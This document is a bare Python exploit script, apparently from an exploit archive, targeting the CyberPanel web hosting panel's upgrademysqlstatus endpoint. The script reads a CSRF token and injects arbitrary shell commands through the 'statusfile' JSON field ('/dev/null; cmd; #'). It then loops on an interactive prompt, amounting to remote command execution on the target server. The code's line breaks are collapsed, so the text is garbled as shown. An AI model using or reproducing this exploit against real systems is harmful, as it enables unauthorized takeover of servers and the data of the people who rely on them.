CyberPanel upgrademysqlstatus Arbitrary Command Execution

import httpx import sys def get_CSRF_token(client):    resp = client.get("/")        return resp.cookies['csrftoken']    def pwn(client, CSRF_token, cmd):    headers = {        "X-CSRFToken": CSRF_token,        "Content-Type":"application/json",        "Referer": str(client.base_url)    }        payload = '{"statusfile":"/dev/null; %s; #","csrftoken":"%s"}' % (cmd, CSRF_token)        return client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload).json()["requestStatus"]    def exploit(client, cmd):    CSRF_token = get_CSRF_token(client)    stdout = pwn(client, CSRF_token, cmd)    print(stdout)    if __name__ == "__main__":    target = sys.argv[1]        client = httpx.Client(base_url=target, verify=False)    while True:        cmd = input("$> ")        exploit(client, cmd)